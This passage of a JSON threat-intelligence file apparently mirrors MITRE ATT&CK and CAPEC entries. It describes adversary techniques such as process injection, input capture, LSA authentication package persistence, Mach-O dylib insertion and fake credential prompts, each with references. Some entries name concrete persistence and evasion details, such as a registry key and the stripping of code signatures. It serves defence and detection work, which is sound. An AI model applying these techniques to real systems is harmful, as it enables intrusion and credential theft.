"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
]
},
"related": [
{
"dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
"value": "PowerShell Profile - T1504"
},
{
"description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)",
"meta": {
"external_id": "CAPEC-570",
"refs": [
"http://en.wikipedia.org/wiki/Executable_compression",
"https://attack.mitre.org/techniques/T1045",
"https://capec.mitre.org/data/definitions/570.html",
"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
]
},
"related": [
{
"dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88",
"value": "Software Packing - T1045"
},
{
"description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1460",
"refs": [
"https://attack.mitre.org/techniques/T1460"
]
},
"related": [
{
"dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09",
"value": "Biometric Spoofing - T1460"
},
{
"description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
"meta": {
"external_id": "T1074",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"File: File Creation"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1074",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
]
},
"uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
"value": "Data Staged - T1074"
},
{
"description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.",
"meta": {
"external_id": "T1480",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1480",
"https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/",
"https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
]
},
"uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
"value": "Execution Guardrails - T1480"
},
{
"description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
"meta": {
"external_id": "CAPEC-640",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Metadata",
"File: File Modification",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
"https://attack.mitre.org/techniques/T1055",
"https://capec.mitre.org/data/definitions/640.html",
"https://docs.microsoft.com/sysinternals/downloads/sysmon",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.gnu.org/software/acct/"
]
},
"uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"value": "Process Injection - T1055"
},
{
"description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
"meta": {
"external_id": "CAPEC-569",
"kill_chain": [
"mitre-attack:collection",
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Driver: Driver Load",
"File: File Modification",
"Process: OS API Execution",
"Process: Process Creation",
"Process: Process Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
"https://attack.mitre.org/techniques/T1056",
"https://capec.mitre.org/data/definitions/569.html"
]
},
"uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
"value": "Input Capture - T1056"
},
{
"description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.",
"meta": {
"external_id": "CAPEC-573",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1057",
"https://capec.mitre.org/data/definitions/573.html"
]
},
"uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
"value": "Process Discovery - T1057"
},
{
"description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
"meta": {
"external_id": "T1608",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/",
"https://attack.mitre.org/techniques/T1608",
"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://www.digicert.com/kb/ssl-certificate-installation.htm",
"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
]
},
"uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"value": "Stage Capabilities - T1608"
},
{
"description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.",
"meta": {
"external_id": "CAPEC-575",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: Process Creation",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1087",
"https://capec.mitre.org/data/definitions/575.html",
"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
]
},
"uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"value": "Account Discovery - T1087"
},
{
"description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)",
"meta": {
"external_id": "CAPEC-560",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"Logon Session: Logon Session Metadata",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1078",
"https://capec.mitre.org/data/definitions/560.html",
"https://technet.microsoft.com/en-us/library/dn487457.aspx",
"https://technet.microsoft.com/en-us/library/dn535501.aspx"
]
},
"uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
"value": "Valid Accounts - T1078"
},
{
"description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
"meta": {
"external_id": "T1079",
"refs": [
"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1079",
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
]
},
"related": [
{
"dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e",
"value": "Multilayer Encryption - T1079"
},
{
"description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.",
"meta": {
"external_id": "T1098",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"File: File Modification",
"Group: Group Modification",
"Process: Process Creation",
"User Account: User Account Modification"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1098",
"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738",
"https://github.com/gentilkiwi/mimikatz/issues/92",
"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"
]
},
"uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
"value": "Account Manipulation - T1098"
},
{
"description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.",
"meta": {
"external_id": "CAPEC-203",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Deletion",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1112",
"https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/",
"https://capec.mitre.org/data/definitions/203.html",
"https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull",
"https://docs.microsoft.com/sysinternals/downloads/reghide",
"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657",
"https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353",
"https://technet.microsoft.com/en-us/library/cc732643.aspx",
"https://technet.microsoft.com/en-us/library/cc754820.aspx"
]
},
"uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
"value": "Modify Registry - T1112"
},
{
"description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.",
"meta": {
"external_id": "T1131",
"refs": [
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://attack.mitre.org/techniques/T1131",
"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d",
"value": "Authentication Package - T1131"
},
{
"description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
"meta": {
"external_id": "CAPEC-648",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1113",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://capec.mitre.org/data/definitions/648.html",
"https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"
]
},
"uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
"value": "Screen Capture - T1113"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311).\n\nDynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)",
"meta": {
"external_id": "T1311",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1311"
]
},
"related": [
{
"dest-uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "20a66013-8dab-4ca3-a67d-766c842c561c",
"value": "Dynamic DNS - T1311"
},
{
"description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ",
"meta": {
"external_id": "T1114",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"File: File Access",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation"
],
"mitre_platforms": [
"Windows",
"Office 365",
"Google Workspace",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1114",
"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
]
},
"uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
"value": "Email Collection - T1114"
},
{
"description": "The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.\n\nCompared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)\n\nSpecific approaches to this technique include:\n\n### Impersonate the identity of a legitimate application\n\nA malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)\n\n### Display a prompt on top of a running legitimate application\n\nA malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the `ActivityManager` API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Approaches to display a prompt include:\n\n* A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)\n\n### Fake device notifications\n\nA malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)",
"meta": {
"external_id": "APP-31",
"kill_chain": [
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://cloak-and-dagger.org/",
"http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag",
"http://w2spconf.com/2011/papers/felt-mobilephishing.pdf",
"https://attack.mitre.org/techniques/T1411",
"https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf",
"https://developer.android.com/guide/components/activities/background-starts",
"https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html",
"https://www.group-ib.com/blog/gustuff",
"https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/",
"https://www.skycure.com/blog/accessibility-clickjacking/",
"https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html",
"https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/",
"https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/"
]
},
"related": [],
"uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
"value": "Input Prompt - T1411"
},
{
"description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).",
"meta": {
"external_id": "CAPEC-569",
"refs": [
"https://attack.mitre.org/techniques/T1141",
"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
"https://capec.mitre.org/data/definitions/569.html",
"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
"https://logrhythm.com/blog/do-you-trust-your-computer/",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b",
"value": "Input Prompt - T1141"
},
{
"description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)",
"meta": {
"external_id": "CAPEC-637",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1115",
"https://capec.mitre.org/data/definitions/637.html",
"https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363",
"https://msdn.microsoft.com/en-us/library/ms649012"
]
},
"uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
"value": "Clipboard Data - T1115"
},
{
"description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).",
"meta": {
"external_id": "T1161",
"refs": [
"https://attack.mitre.org/techniques/T1161",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb",
"value": "LC_LOAD_DYLIB Addition - T1161"
},
{
"description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.",
"meta": {
"external_id": "T1116",
"refs": [
"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
"http://www.thesafemac.com/new-signed-malware-called-janicab/",
"https://attack.mitre.org/techniques/T1116",
"https://en.wikipedia.org/wiki/Code_signing",
"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
]
},
"related": [
{
"dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d",
"value": "Code Signing - T1116"
},
{
"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.",
"meta": {
"external_id": "T1119",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1119"
]
},
"uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
"value": "Automated Collection - T1119"
},
{
